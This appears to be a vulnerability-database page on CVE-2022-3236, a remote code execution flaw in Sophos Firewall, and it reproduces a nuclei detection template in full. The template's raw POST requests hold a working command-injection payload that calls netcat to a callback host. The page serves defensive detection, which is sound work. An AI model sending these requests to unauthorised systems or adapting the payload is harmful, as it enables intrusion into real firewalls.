Sophos Firewall <= 19.0 MR1 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-09-23; known to be used by ransomware.

criticalseverity

9.8CVSS score

98.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Sophos Firewall version v19.0 MR1 and older is vulnerable to code injection in the User Portal and Webadmin, allowing a remote unauthenticated attacker to execute arbitrary code.

Impact

Remote attackers can execute arbitrary code on the system, potentially leading to full system compromise.

Fix

Update to the latest version of Sophos Firewall.

How to confirm it

Send: POST /userportal/Controller
Positive when: contains(interactsh_protocol, "dns") and contains(content_type, "text/plain") and contains(header, "Server: xxxx") and status_code == 200 and contains(body, "redirectionURL")
Send: POST /webconsole/Controller
Positive when: contains(interactsh_protocol, "dns") and contains(content_type, "text/plain") and contains(header, "Server: xxxx") and status_code == 200 and contains(body, "redirectionURL")

Run it with nuclei: nuclei -id CVE-2022-3236 -u <target>

The full check

id: CVE-2022-3236

info:
  name: Sophos Firewall <= 19.0 MR1 - Remote Code Execution
  author: daffainfo
  severity: critical
  description: |
    Sophos Firewall version v19.0 MR1 and older is vulnerable to code injection in the User Portal and Webadmin, allowing a remote unauthenticated attacker to execute arbitrary code.
  impact: |
    Remote attackers can execute arbitrary code on the system, potentially leading to full system compromise.
  remediation: |
    Update to the latest version of Sophos Firewall.
  reference:
    - https://www.thezdi.com/blog/2022/10/19/cve-2022-3236-sophos-firewall-user-portal-and-web-admin-code-injection
    - https://nvd.nist.gov/vuln/detail/cve-2022-3236
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-3236
    cwe-id: CWE-94
    epss-score: 0.98905
    epss-percentile: 0.99928
    cpe: cpe:2.3:a:sophos:firewall:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sophos
    product: firewall
    shodan-query: http.title:"Sophos"
    fofa-query: title="sophos"
  tags: cve,cve2022,sophos,firewall,rce,intrusive,oast,kev,vkev

flow: http(1) || http(2)

http:
  - raw:
      - |
        POST /userportal/Controller HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        mode=451&json=%7b%22username%22%3a%22admin%22%2c%22password%22%3a%22x%22%2c%22languageid%22%3a%221%22%2c%22browser%22%3a%22Firefox_91%22%2c%22_discriminator%22%3a%7b%22curvalue%22%3a%22%3b%60nc%20{{interactsh-url}}%2080%60%22%7d%2c%22value%22%3a%22curvalue%22%7d&__RequestType=ajax&t=1710331582506

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(content_type, "text/plain")'
          - 'contains(header, "Server: xxxx")'
          - 'status_code == 200'
          - 'contains(body, "redirectionURL")'
        condition: and

  - raw:
      - |
        POST /webconsole/Controller HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        mode=151&json=%7b%22username%22%3a%22admin%22%2c%22password%22%3a%22x%22%2c%22languageid%22%3a%221%22%2c%22browser%22%3a%22Firefox_91%22%2c%22_discriminator%22%3a%7b%22curvalue%22%3a%22%3b%60nc%20{{interactsh-url}}%2080%60%22%7d%2c%22value%22%3a%22curvalue%22%7d&__RequestType=ajax&t=1710331582506

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(content_type, "text/plain")'
          - 'contains(header, "Server: xxxx")'
          - 'status_code == 200'
          - 'contains(body, "redirectionURL")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from